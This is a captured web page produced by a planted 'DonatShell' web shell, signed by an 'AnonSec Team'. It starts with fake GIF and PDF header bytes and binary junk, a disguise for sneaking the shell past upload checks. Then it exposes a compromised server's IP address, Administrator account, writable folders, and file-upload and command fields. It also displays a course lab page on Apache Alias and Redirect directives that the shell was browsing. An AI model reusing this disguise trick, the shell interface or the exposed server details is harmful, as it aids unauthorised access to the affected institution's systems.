GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1611/Labs/Lab03.5/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1611/Labs/Lab03.5/Lab03.5.phpinc
<?
// JimMartinson/CST1611/Lab03a.phpinc

require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.
$dataFolder = '/var/www/html';
$apacheFolder = $dataFolder;
$dirSep = '/';
$disabled = '';
#$disabled = ' disabled'; // Comment this line to enable lab.

?>
<style type="text/css">b {white-space:nowrap;}</style>
<a name="Lab"></a>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Description</legend>
The purpose of this lab is to further demonstrate the ability to use directives from the <tt>mod_alias</tt> module.
<?=$gradeNote?>
<? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<fieldset id="description"><legend><?=$evaluationType?> <?=$evaluationNumber?> Instruction</legend>
<ol class="count">
	<!-- 1 -->
	<li>Setup a directory for this lab.
		<ol>
			<li>Create a directory called <b class="copyText"><?=$evaluationName?></b> inside your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?></b> directory.</li>
			<li>Create a text file called <b class="copyText"><?=$saveFilename?>.txt</b> in the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li>
		</ol>
	</li>
	<!-- 2 -->
	<li>Test the <code>Alias</code> and <code>Redirect</code> directives from <b><?=$evaluationNamePrevious?></b> using the <b>CST1611.test</b> host.
		<ol>
			<li>Open up a browser.</li>
			<li>Test each <code>Alias</code> and <code>Redirect</code> using <b class="copyText">http://CST1611.test/<?=$evaluationNamePrevious?></b> as the starting URL.
				<ol>
					<li>Test the <b>aliasfrom</b> <code>Alias</code>.
						<ol>
							<li>Enter <b>CST1611.test</b> in the address bar and hit enter.</li>
							<li>Click on <b><?=$evaluationNamePrevious?></b>. Click on <b>aliasfrom</b>. You see the contents of the <b>aliasfrom</b> directory.<br>The <code>Alias</code> does not work.</li>
						</ol>
					</li>
					<li>Test the <b>AliasFileFrom.txt</b> <code>Alias</code>.
						<ol>
							<li>Enter <b>CST1611.test</b> in the address bar and hit enter.</li>
							<li>Click on <b><?=$evaluationNamePrevious?></b>. Click on <b>AliasFileFrom.txt</b>. Your browser should show the contents of the <b>AliasFileFrom.txt</b> file.<br>The <code>Alias</code> does not work.</li>
						</ol>
					</li>
					<li>Test the <b>ClassHome</b> <code>Redirect</code>.
						<ol>
							<li>Enter <b>CST1611.test</b> in the address bar and hit enter.</li>
							<li>Click on <b><?=$evaluationNamePrevious?></b>. Click on <b>ClassHome</b>. You see the contents of the <b>ClassHome</b> directory.<br>The <code>Redirect</code> does not work.</li>
						</ol>
					</li>
					<li>Test the <b>ClassFile.txt</b> <code>Redirect</code>.
						<ol>
							<li>Enter <b>CST1611.test</b> in the address bar and hit enter.</li>
							<li>Click on <b><?=$evaluationNamePrevious?></b>. Click on <b>ClassFile.txt</b>. Your browser should now show the contents of the <b>ClassFile.txt</b> file.
							<li>Now add a <b>/</b> to the end of the URL in the location bar and hit enter. You see a page not found error.<br>The <code>Redirect</code> does not work.</li>
						</ol>
					</li>
					<li>Test the <b>redirected</b> <code>Redirect</code>.
						<ol>
							<li>Enter <b>CST1611.test</b> in the address bar and hit enter.</li>
							<li>Click on <b><?=$evaluationNamePrevious?></b>. Click on <b>redirected</b>. You see the contents of the <b>redirected</b> directory.<br>The <code>Redirect</code> does not work.</li>
						</ol>
					</li>
					<li>Test the <b>fromnothing</b> <code>Redirect</code>.
						<ol>
							<li>Enter <b>CST1611.test</b> in the address bar and hit enter.</li>
							<li>Click on <b><?=$evaluationNamePrevious?></b>. Add <b>nothing</b> to the end of the URL in the location bar and hit enter. You see a page not found error. The <code>Redirect</code> does not work.</li>
							<li>Go back a page and add <b>nothing/</b> (note the slash) to the end of the URL in the location bar and hit enter. You see a page not found error.<br>The <code>Redirect</code> does not work.</li>
						</ol>
					</li>
				</ol>
			</li>
			The short version is that <b>none</b> of the <code>Alias</code> and <code>Redirect</code> directives from <?=$evaluationNamePrevious?> should work.
			This is because the URL-path does not match the new URL from the <b>CST1611.test</b> host.
			If they do, then you did not follow the directions in <?=$evaluationNamePrevious?> as to where the directives should have been placed or did them incorrectly.
		</ol>
	</li>
	<!-- 3 -->
	<li>Copy and modify the <code>Alias</code> and <code>Redirect</code> directives from <b><?=$evaluationNamePrevious?></b> so they work with the <b>CST1611.test</b> host.
		<ol>
			<li>Copy the <b>localhost (000-default.conf)</b> Alias and Redirect directives to the <b>CST1611.test (cst1611.test.conf)</b> <code>VirtualHost</code>.
				<ol>
					<li>Open your <b>cst1611.test.conf</b> file in a text editor.</li>
					<li>Below the <code>&lt;/Directory&gt;</code> directive add the comment:<br>
						<comm class="copyText"># <?=$evaluationType?> <?=$evaluationNumber?></comm></li>
					<li>Copy all of the <code>Alias</code> and <code>Redirect</code> directives from <b><?=$evaluationNamePrevious?></b>.</li>
					<li>Paste the <code>Alias</code> and <code>Redirect</code> directives from <b><?=$evaluationNamePrevious?></b> below the <comm class=""># <?=$evaluationType?> <?=$evaluationNumber?></comm> comment.</li>
				</ol>
			</li>
			<li>Modify and test all of the <code>Alias</code> and <code>Redirect</code> directives until they work as they did in <b><?=$evaluationNamePrevious?></b>.
				<br>They should work from the <b>CST1611.test</b> host. Using <b class="copyText">http://CST1611.test/<?=$evaluationNamePrevious?></b> as the starting URL.
				<ol>
					<li>Fix the Alias from one directory to another directory. (Lab 3 step 3)</li>
					<li>Fix the Alias from one file to another file. (Lab 3 step 4)</li>
					<li>Fix the Redirect from a directory to another site. (Lab 3 step 5)</li>
					<li>Fix the Redirect from a file to another site. (Lab 3 step 6)</li>
					<li>Fix the Redirect from a directory to another directory. (Lab 3 step 7)</li>
					<li>Fix the Redirect from nothing to a directory. (Lab 3 step 8)</li>
				</ol>
				<note>Hint: The first parameter of any <code>Alias</code> or <code>Redirect</code> directive is relative the the <code>DocumentRoot</code> of the site. It is the URL that is in the browser location bar w/o the protocol and host name.</note>
			</li>
		</ol>
	</li>
	<!-- 4 -->
	<li>Turn in your assignment:
		<ol>
			<li>Copy your <b>/etc/hosts</b> and <b>/etc/apache2/sites-available/cst1611.test.conf</b> file into your <b><?=$evaluationName?></b> folder.</li>
			<li>Ensure the following files are in your <b><?=$evaluationName?></b> folder:
				<ul>
<?

$fileList = array(
	$saveFilename.'.txt',
	'hosts',
	'cst1611.test.conf',
);
	natcasesort($fileList);
						foreach ($fileList as $fileName) {
?>
				<li><?=$fileName?></li>
<?
						}
?>
				</ul>
			</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li>
		</ol>
	</li>
</ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<fieldset id="Notes"><legend>Notes</legend>
	<span class="warning bold">WARNING! Throughout this lab you should be aware of your browser's ability to load a page from cache.
		You may need to force a page refresh (Ctrl-Shift-R) or even close and reopen the browser in order to see what is really happening now.</span>
	<p>
	<code>Alias URL-path file-path|directory-path</code> directive:
	<ul>
		<li>The <code>URL-path</code> parameter must be relative the the <code>DocumentRoot</code>.</li>
		<li>The <code>path-to-file|path-to-directory</code> parameter must be relative to the file system.</li>
		<li>Trailing slashes are important in the <code>Alias URL-path file-path|directory-path</code> directive too.</li>
		<li>When <code>Alias</code>ing files neither the <code>URL-path</code> nor <code>path-to-file|path-to-directory</code> should ever end with a /.</li>
		<li>When <code>Alias</code>ing directories both the <code>URL-path</code> and the <code>path-to-file|path-to-directory</code> need to be the same, either ending or not ending with a /.</li>
	</ul>
	</p>
	<p>
	<code>Redirect [status] URL-path URL-to</code> directive:
	<ul>
		<li>The <code>URL-path</code> parameter must be relative the the <code>DocumentRoot</code>.</li>
		<li>The <code>URL-to</code> parameter must be relative the the <code>DocumentRoot</code> or a full URL to another Website.</li>
		<li>When using the <code>Redirect [status] URL-path URL-to</code> directive a trailing slash (/) is important.</li>
		<li>If the <code>URL-path</code> ends in a / it only works for a directory or if the <code>URL-path</code> typed into the browser location bar ends with a /.<br>
			The way it works is that:
			<ul>
				<li>If <code>URL-path</code> ends with a / the browser location URL must also or the <code>Redirect</code> will not work.</li>
				<li>If <code>URL-path</code> does not end with a / the browser location URL can end with a / or not.</li>
			</ul>
		</li>
		<li>In order for a <code>Redirect</code> directive to work neither the <code>URL-path</code> nor the <code>URL-to</code> need actually exist.</li>
		<li>Note that the <code>URL-to</code> should never end with a /.</li>
	</ul>
	</p>
	Go back up to the <a href="#description">Description</a>.
</fieldset>
<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
?>

Anon7 - 2022
AnonSec Team